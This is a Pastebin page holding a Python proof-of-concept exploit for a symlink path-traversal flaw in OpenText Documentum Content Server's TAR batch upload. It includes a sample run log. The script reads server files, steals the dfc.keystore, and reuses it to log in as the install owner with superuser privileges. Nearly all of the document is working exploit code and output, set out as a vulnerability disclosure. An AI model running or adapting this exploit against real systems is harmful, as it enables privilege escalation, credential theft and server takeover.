Advertisement
Guest User

Untitled

a guest
Oct 2nd, 2017
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.45 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. # Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
  4. # contains following design gap, which allows authenticated user to gain privileges
  5. # of superuser:
  6. #
  7. # Content Server allows to upload content using batches (TAR archives), when unpacking
  8. # TAR archives Content Server fails to verify contents of TAR archive which
  9. # causes path traversal vulnerability via symlinks, because some files on Content Server
  10. # filesystem are security-sensitive the security flaw described above leads to
  11. # privilege escalation
  12. #
  13. # The PoC below demonstrates this vulnerability:
  14. #
  15. # MacBook-Pro:~ $ python OTDocumentumTarVulnerability.py
  16. # usage:
  17. # OTDocumentumTarVulnerability.py host port user password
  18. # MacBook-Pro:~ $ python OTDocumentumTarVulnerability.py docu72dev01 10001 dm_bof_registry dm_bof_registry
  19. # Trying to connect to docu72dev01:10001 as dm_bof_registry ...
  20. # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
  21. # Downloading /u01/documentum/cs/product/7.2/bin/dm_set_server_env.sh
  22. # Creating malicious dmr_content object
  23. # Trying to find any object with content...
  24. # Downloading /u01/documentum/cs/shared/config/dfc.keystore
  25. # Creating malicious dmr_content object
  26. # Trying to find any object with content...
  27. # Trying to connect to docu72dev01:10001 as dmadmin ...
  28. # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
  29. # P0wned!
  30.  
  31.  
  32. import io
  33. import socket
  34. import sys
  35. import tarfile
  36.  
  37. from dctmpy import NULL_ID
  38.  
  39. from dctmpy.docbaseclient import DocbaseClient
  40. from dctmpy.identity import Identity
  41. from dctmpy.obj.typedobject import TypedObject
  42.  
  43. CIPHERS = "ALL:aNULL:!eNULL"
  44.  
  45.  
  46. def usage():
  47. print "usage:\n%s host port user password" % sys.argv[0]
  48.  
  49.  
  50. def main():
  51. if len(sys.argv) != 5:
  52. usage()
  53. exit(1)
  54.  
  55. (session, docbase) = create_session(*sys.argv[1:5])
  56.  
  57. if is_super_user(session):
  58. print "Current user is a superuser, nothing to do"
  59. exit(1)
  60.  
  61. admin_console = session.get_by_qualification(
  62. "dm_method where object_name='dm_JMSAdminConsole'")
  63. env_script = admin_console['method_verb']
  64. env_script = env_script.replace('dm_jms_admin.sh', 'dm_set_server_env.sh')
  65.  
  66. keystore_path = None
  67. script = str(download(session, env_script, bytearray()))
  68. if not script:
  69. print "Unable to download dm_set_server_env.sh"
  70. exit(1)
  71.  
  72. for l in script.splitlines():
  73. if not l.startswith("DOCUMENTUM_SHARED"):
  74. continue
  75. keystore_path = l.split('=')[1]
  76. break
  77.  
  78. if not keystore_path:
  79. print "Unable to determine DOCUMENTUM_SHARED"
  80. exit(1)
  81.  
  82. keystore_path += "/config/dfc.keystore"
  83. keystore = str(download(session, keystore_path, bytearray()))
  84.  
  85. if not keystore:
  86. print "Unable to download dfc.keystore"
  87. exit(1)
  88.  
  89. (session, docbase) = create_session(
  90. sys.argv[1], sys.argv[2],
  91. session.serverconfig['r_install_owner'], "",
  92. identity=Identity(trusted=True, keystore=keystore))
  93. if is_super_user(session):
  94. print "P0wned!"
  95.  
  96.  
  97. def download(session, path, buf):
  98. print "Downloading %s" % path
  99.  
  100. store = session.get_by_qualification("dm_store")
  101. format = session.get_by_qualification("dm_format where name='crtext'")
  102.  
  103. print "Creating malicious dmr_content object"
  104.  
  105. session.apply(None, NULL_ID, "BEGIN_TRANS")
  106.  
  107. handle = session.make_pusher(store['r_object_id'])
  108. if handle < 1:
  109. print "Unable to create pusher"
  110. end_tran(session, False)
  111. exit(1)
  112.  
  113. (bytes, length) = create_tar("test", path)
  114. b = bytearray()
  115. b.extend(bytes.read())
  116.  
  117. print "Trying to find any object with content..."
  118. object_id = session.query(
  119. "SELECT FOR READ r_object_id "
  120. "FROM dm_sysobject WHERE r_content_size>0") \
  121. .next_record()['r_object_id']
  122.  
  123. content_id = session.next_id(0x06)
  124.  
  125. if not session.start_push(handle, content_id, format['r_object_id'], len(b)):
  126. print "Failed to start push"
  127. end_tran(session, False)
  128. exit(1)
  129.  
  130. session.upload(handle, b)
  131. data_ticket = session.end_push_v2(handle)['DATA_TICKET']
  132.  
  133. content = TypedObject(session=session)
  134. content.set_string("OBJECT_TYPE", "dmr_content")
  135. content.set_bool("IS_NEW_OBJECT", True)
  136. content.set_id("storage_id", store['r_object_id'])
  137. content.set_id("format", format['r_object_id'])
  138. content.set_int("data_ticket", data_ticket)
  139. content.set_int("page", 0)
  140. content.set_string("page_modifier", "dm_batch")
  141. content.set_string("full_format", format['name'])
  142. content.set_int("content_size", len(b))
  143. content.set_bool("BATCH_FLAG", True)
  144. content.set_bool("IS_ADDRENDITION", True)
  145. content.set_id("parent_id", object_id)
  146. if not session.save_cont_attrs(content_id, content):
  147. print "Failed to create content"
  148. end_tran(session, False)
  149. exit(1)
  150.  
  151. content = session.get_by_qualification(
  152. "dmr_content WHERE any (parent_id='%s' "
  153. "AND page_modifier='%s')" % (object_id, "vuln"))
  154.  
  155. handle = session.make_puller(
  156. NULL_ID, store.object_id(), content['r_object_id'],
  157. format.object_id(), data_ticket
  158. )
  159.  
  160. if handle == 0:
  161. end_tran(session, False)
  162. raise RuntimeError("Unable make puller")
  163.  
  164. for chunk in session.download(handle):
  165. buf.extend(chunk)
  166.  
  167. end_tran(session, False)
  168. return buf
  169.  
  170.  
  171. def create_tar(linkname, linkpath):
  172. bytes = io.BytesIO()
  173. tar = tarfile.TarFile(fileobj=bytes, mode="w", format=tarfile.GNU_FORMAT)
  174. add_link(tar, linkname, linkpath)
  175. text = io.BytesIO()
  176. text.write("file_name='%s'\n" % linkname)
  177. text.write("page_modifier='vuln'\n")
  178. text.write("parameters=''\n")
  179. tarinfo = tarfile.TarInfo("property.txt")
  180. tarinfo.size = text.tell()
  181. text.seek(0)
  182. tar.addfile(tarinfo, text)
  183. tar.close()
  184. length = bytes.tell()
  185. bytes.seek(0)
  186. return (bytes, length)
  187.  
  188.  
  189. def add_link(tar, linkname, linkpath):
  190. tarinfo = tarfile.TarInfo(linkname)
  191. tarinfo.type = tarfile.SYMTYPE
  192. tarinfo.linkpath = linkpath
  193. tarinfo.name = linkname
  194. tar.addfile(tarinfo=tarinfo)
  195.  
  196.  
  197. def create_session(host, port, user, pwd, identity=None):
  198. print "Trying to connect to %s:%s as %s ..." % \
  199. (host, port, user)
  200. session = None
  201. try:
  202. session = DocbaseClient(
  203. host=host, port=int(port),
  204. username=user, password=pwd,
  205. identity=identity)
  206. except socket.error, e:
  207. if e.errno == 54:
  208. session = DocbaseClient(
  209. host=host, port=int(port),
  210. username=user, password=pwd,
  211. identity=identity,
  212. secure=True, ciphers=CIPHERS)
  213. else:
  214. raise e
  215. docbase = session.docbaseconfig['object_name']
  216. version = session.serverconfig['r_server_version']
  217. print "Connected to %s:%s, docbase: %s, version: %s" % \
  218. (host, port, docbase, version)
  219. return (session, docbase)
  220.  
  221.  
  222. def is_super_user(session):
  223. user = session.get_by_qualification("dm_user WHERE user_name=USER")
  224. if user['user_privileges'] == 16:
  225. return True
  226. group = session.get_by_qualification(
  227. "dm_group where group_name='dm_superusers' "
  228. "AND any i_all_users_names=USER")
  229. if group is not None:
  230. return True
  231.  
  232. return False
  233.  
  234.  
  235. def end_tran(session, commit=False):
  236. obj = TypedObject(session=session)
  237. obj.set_bool("COMMIT", commit)
  238. session.apply(None, NULL_ID, "END_TRANS", obj)
  239.  
  240.  
  241. if __name__ == '__main__':
  242. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement